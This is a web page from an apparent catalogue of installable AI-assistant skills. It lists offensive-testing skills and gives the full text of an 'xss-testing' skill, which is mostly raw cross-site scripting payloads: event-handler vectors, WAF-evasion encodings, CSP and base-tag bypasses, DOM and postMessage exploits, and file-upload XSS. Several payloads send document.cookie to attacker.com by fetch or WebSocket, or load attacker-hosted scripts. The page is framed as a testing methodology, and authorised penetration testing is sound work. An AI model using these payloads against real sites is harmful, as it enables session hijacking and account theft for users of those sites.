メニュー
Master XSS testing methodology including reflected, stored, DOM-based XSS, polyglot payloads, WAF bypass techniques, CSP bypass, and DOM clobbering. Covers blind XSS, XSS via file uploads, and mutation XSS.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Command injection testing methodology covering OS command injection, code injection, filter evasion, blind command injection, and shell-specific techniques for bash, PowerShell, and cmd.exe.
Multi-step exploit chaining methodology for combining low-severity findings into full compromise paths. Covers attack chain scoring, approval gates, and systematic approach to turning individual findings into complete attack paths.
Comprehensive privilege escalation methodology for Linux and Windows. Covers kernel exploits, SUID binaries, service misconfigurations, credential harvesting, and both local privilege escalation paths.
Comprehensive reconnaissance methodology covering OSINT, subdomain enumeration, technology fingerprinting, DNS reconnaissance, and attack surface mapping. Includes passive and active recon techniques with OPSEC considerations.
Comprehensive SQL injection testing methodology covering Union-based, Error-based, Blind (Boolean/Time-based), Stacked queries, and WAF bypass techniques. Includes database-specific payloads for MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and NoSQL injection.
Comprehensive Server-Side Request Forgery (SSRF) testing methodology covering basic SSRF, blind SSRF, DNS rebinding, cloud metadata exploitation, and gopher/redis attacks. Includes bypass techniques and automation.
| name | xss-testing |
| description | Master XSS testing methodology including reflected, stored, DOM-based XSS, polyglot payloads, WAF bypass techniques, CSP bypass, and DOM clobbering. Covers blind XSS, XSS via file uploads, and mutation XSS. |
Cross-Site Scripting (XSS) allows attackers to execute malicious scripts in users' browsers. Testing methodology covers all XSS variants with practical payloads.
document.write, innerHTML, location, eval<!-- Basic script tag -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<!-- Image tag -->
<img src=x onerror=alert(1)>
<img src=x onerror=alert(document.cookie)>
<!-- Body tag -->
<body onload=alert(1)>
<!-- SVG -->
<svg onload=alert(1)>
<svg><script>alert(1)</script>
<!-- Input tag -->
<input onfocus=alert(1) autofocus>
<input onmouseover=alert(1)>
<!-- Link/Anchor -->
<a href="javascript:alert(1)">click</a>
<!-- Mouse events -->
<div onmouseover="alert(1)">
<div onclick="alert(1)">
<div onmouseenter="alert(1)">
<!-- Keyboard events -->
<input onkeydown="alert(1)">
<input onkeyup="alert(1)">
<input onkeypress="alert(1)">
<!-- Focus events -->
<input onfocus="alert(1)" autofocus>
<input onblur="alert(1)">
<!-- Form events -->
<form onsubmit="alert(1)"><input type=submit>
<select onchange="alert(1)">
<!-- Media events -->
<video src=x onerror="alert(1)">
<audio src=x onerror="alert(1)">
<!-- Drag events -->
<div draggable=true ondragstart="alert(1)">
<div ondrop="alert(1)">
<!-- Clipboard events -->
<div oncopy="alert(1)">
<div onpaste="alert(1)">
<div oncut="alert(1)">
<!-- Using templates -->
<template onload=alert(1)>
<!-- Using math -->
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
<!-- Using frames -->
<iframe srcdoc="<img src=x onerror=alert(1)>">
<!-- Using object -->
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
<!-- Using backticks -->
<img src=x onerror=alert`1`>
<!-- Using constructor -->
<img src=x onerror=alert[1]>
<!-- Using throw -->
<img src=x onerror="throw 1">
<!-- Using eval -->
<img src=x onerror=eval("alert(1)")>
<!-- No quotes needed -->
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<!-- Backticks for string -->
<script>alert`xss`</script>
<!-- Works in multiple contexts -->
'">
// Universal JavaScript context
'";alert(1);//
'-alert(1)-'
';alert(1);'
'\'"\'><script>alert(1)</script>
// For template literals
${alert(1)}
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<script>%61%6c%65%72%74%28%31%29</script>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=X ONERROR=ALERT(1)>
%253Cscript%253Ealert(1)%253C%252Fscript%253E
%00<script>alert(1)</script>
<!-- If nonce is reflected -->
<script nonce="reflected_nonce">alert(1)</script>
<!-- If JSONP endpoints exist -->
<script src="/api/jsonp?callback=alert(1)"></script>
<!-- If Angular is loaded -->
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>
<!-- Exploit scripts loaded with strict-dynamic -->
<script src="//attacker.com/evil.js" async defer></script>
<!-- Inject base tag to change relative URLs -->
<base href="https://attacker.com/">
<script src="/script.js"></script>
// location.hash
eval(location.hash.slice(1))
// location.search
document.write(location.search)
// location.href
document.write('<a href="' + location.href + '">link</a>')
// Vulnerable receiver
window.addEventListener('message', (e) => {
eval(e.data); // Never do this!
});
// Exploit
<iframe src="target.com" onload="this.contentWindow.postMessage('alert(1)', '*')">
// If WebSocket message is written to DOM
ws.onmessage = (e) => {
document.getElementById('output').innerHTML = e.data;
}
<script src="https://xsshunter.yourdomain.com/yourusername"></script>
<script>
fetch('https://attacker.com/cb?cookie='+document.cookie);
</script>
<script>
var ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = () => ws.send(document.cookie);
</script>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>
<!-- Rename HTML to .jpg or .png -->
<script>alert(1)</script>
GIF89a
<script>alert(1)</script>
https://target.com/page#javascript:alert(1)
// If input is used in template literal
const html = `<div>${userInput}</div>`;
// Input: ${alert(1)}
// Via JSON.parse
JSON.parse('{"__proto__":{"isAdmin":true}}')
Identify Input Points
Test Output Contexts
Bypass Filters
Verify Impact